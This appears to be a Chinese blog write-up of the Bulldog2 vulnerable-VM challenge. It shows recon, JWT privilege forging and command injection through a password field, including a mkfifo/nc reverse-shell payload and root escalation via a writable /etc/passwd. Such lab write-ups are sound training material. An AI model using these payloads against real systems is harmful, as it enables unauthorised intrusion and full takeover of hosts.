Write-up-Bulldog2

关于

信息收集

  • 网卡:vboxnet0,192.168.56.1/24,Nmap扫存活主机发现IP为192.168.56.101
➜  ~ nmap -sn 192.168.56.1/24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-25 20:48 CST
Nmap scan report for 192.168.56.1
Host is up (0.00013s latency).
Nmap scan report for 192.168.56.101
Host is up (0.00061s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 3.02 seconds
➜  ~ 
➜  ~ nmap -T4 -A 192.168.56.101
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-25 20:49 CST
Nmap scan report for 192.168.56.101
Host is up (0.00041s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Bulldog.social
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.35 seconds
  • 发现只开了80端口,所以只能从Web入手了,浏览器打开看插件可知编程语言是Node-js,整个页面也只加载了几个js和css文件,而且查看网页源码发现只有一行。正常的开发者是不会这么写的,太难看了,格式化一下,页面也没什么特效,加载的js文件有点多啊,问题肯定在js里。
<!doctype html>
<html lang="en">
	<head>
		<meta charset="utf-8">
		<title>
			Bulldog.social
		</title>
		<link rel="stylesheet" href="/assets/bootstrap.min.css">
		<link rel="stylesheet" type="text/css" href="/assets/styles.css">
		<script src="/assets/particles.min.js">
		</script>
		<base href="/">
		<meta name="viewport" content="width=device-width,initial-scale=1">
		<link rel="icon" type="image/x-icon" href="favicon.ico">
		<link href="styles.7decb11e9986af81075e.bundle.css" rel="stylesheet" />
	</head>
	<body>
		<div id="particles-js">
		</div>
		<br>
		<br>
		<app-root>
		</app-root>
		<br>
		<div style="text-align:center">
			<a href="/about">
				About Us |
			</a>
			<a href="/">
				Twitter |
			</a>
			<a href="/">
				Instagram
			</a>
		</div>
		<br>
		<script type="text/javascript" src="inline.7a6fe116b23fa31a9970.bundle.js">
		</script>
		<script type="text/javascript" src="polyfills.f056ccbeb07b92448c13.bundle.js">
		</script>
		<script type="text/javascript" src="vendor.0ce9a4a4addea27177ca.bundle.js">
		</script>
		<script type="text/javascript" src="main.8b490782e52b9899e2a7.bundle.js">
		</script>
	</body>

</html>
<script>
	particlesJS.load('particles-js', '/assets/particles/particlesjs-config.json',
	function() {});
</script>
  • 到处点,发现关闭了注册功能,但在main.8b490782e52b9899e2a7.bundle.js这个文件里找到了注册功能,只要安照json格式发送请求就可以注册成功了。
l.prototype.onRegisterSubmit = function() {
	var l = this,
	n = {
		name: this.name,
		email: this.email,
		username: this.username,
		password: this.password
	};

绕过注册

  • 数据包
POST /users/register HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/login
content-type: application/json
Content-Length: 99
Connection: close

{
  "name": "kt",
  "email": "root@kali-team.cn",
  "username": "kt",
  "password": "123456"
}
  • 返回用户已经注册,登录试试。
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 24 Oct 2018 08:36:19 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 40
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
ETag: W/"28-r22PRevV1bosgiTQ0L7/zW61meQ"

{"success":true,"msg":"User registered"}

获取管理员权限

  • 登录后返回一串字符,里面有一个键为auth_level的值翻译过来是标准用户,即不是管理员。发现token有一个JWT,谷歌找到一个解密网站点我
{"success":true,"token":"JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXlsb2FkIjp7Im5hbWUiOiJrdCIsImVtYWlsIjoicm9vdEBrYWxpLXRlYW0uY24iLCJ1c2VybmFtZSI6Imt0IiwiYXV0aF9sZXZlbCI6InN0YW5kYXJkX3VzZXIifSwiaWF0IjoxNTQwMzcwNTYzLCJleHAiOjE1NDA5NzUzNjN9.miulCBmgpn_NqFHppjlk-zzJsSrdgCvdHZTP395Hbjg","user":{"name":"kt","username":"kt","email":"root@kali-team.cn","auth_level":"standard_user"}}
  • 然后解密得到下面内容,就是我注册时的信息啊,通过搜索js里的auth_level找到判断是否是管理员权限的地方找到了master_admin_user,想着是不是把standard_usermaster_admin_user就能拿到管理员权限了。
{
  "payload": {
    "name": "kt",
    "email": "root@kali-team.cn",
    "username": "kt",
    "auth_level": "standard_user"
  },
  "iat": 1540370563,
  "exp": 1540975363
}
l.prototype.isAdmin = function() {
var l = localStorage.getItem("user");
return null !== l && "master_admin_user" == JSON.parse(l).auth_level
},
  • 然后在解密平台上把auth_level的值改为master_admin_user再把加密后的token替换原来的 ,明文的也一起改了,再放行数据,在浏览器这边已经方形用户成为管理员权限了。

漏洞利用

  • 打开管理员的控制面板看到CLI Tool,第一眼看上去是不是想到命令行工具。Nodejs执行命令一般都会用exec创建子进程执行,找到routes/users.js文件有一段可能存在命令执行漏洞的代码。
router.post('/linkauthenticate', (req, res, next) => {
  const username = req.body.password;
  const password = req.body.password;

  exec(`linkplus -u ${username} -p ${password}`, (error, stdout, stderr) => {
  if (error) {
    console.error(`exec error: ${error}`);
    return;
  }
  console.log(`stdout: ${stdout}`);
  console.log(`stderr: ${stderr}`);
});
  • 当请求改密码时会执行linkplus -u ${username} -p ${password}我们在后面跟着想执行的命令就可以了,因为没有回显,所以也不知道命令有没有执行成功,你们可以用DNSlog测试,我在这就ping我自己的电脑,抓包证明一下就好了,可以看出是命令执行成功了的。
POST /users/linkauthenticate HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/dashboard
content-type: application/json
Content-Length: 73
Connection: close

{
  "username": "kt",
  "password": "1234566  ; ping 192.168.56.1 -c 4"
}
11	0.005424306	192.168.56.101	192.168.56.1	ICMP	98	Echo (ping) request  id=0x61fd, seq=1/256, ttl=64 (reply in 12)
12	0.005440583	192.168.56.1	192.168.56.101	ICMP	98	Echo (ping) reply    id=0x61fd, seq=1/256, ttl=64 (request in 11)

反弹Shell

  • 因为json请求里有了引号,所以很多反弹的方法都不管用了,但找到了一种没有引号的
POST /users/linkauthenticate HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/dashboard
content-type: application/json
Content-Length: 123
Connection: close

{
  "username": "kt",
  "password": "1  ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1 7788 >/tmp/f"
}
  • NC已经返回shell了
➜  ~ nc -lvp 7788
Connection from 192.168.56.101:37834
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(node) gid=1005(node) groups=1005(node)
$ 

提权

  • find / -writable -type f 2>/dev/null | grep -v "/proc/"找出所有可写的root用户的文件,发现/etc/passwd文件可写。

  • 生成密码

➜  ~ openssl passwd -1 -salt kt 123
$1$kt$mR/jSFSDV/G0vNQ72T8cs.
  • 添加用户$ echo "kt:\$1\$kt\$mR/jSFSDV/G0vNQ72T8cs.:0:0:root:/root:/bin/bash" >> passwd
node@bulldog2:/etc$ su kt
su kt
Password: 123
root@bulldog2:/etc# id
id
uid=0(root) gid=0(root) groups=0(root)
root@bulldog2:/etc# 
root@bulldog2:/etc# cd /root
cd /root
root@bulldog2:~# ls
ls
flag.txt
root@bulldog2:~# cat flag.txt
cat flag.txt
Congratulations on completing this VM :D That wasn't so bad was it?

Let me know what you thought on twitter, I'm @frichette_n

I'm already working on another more challenging VM. Follow me for updates.
root@bulldog2:~# 

  • Flag到手!
posted @ 2020-01-19 08:44  三米前有蕉皮  阅读(584)  评论(0编辑  收藏  举报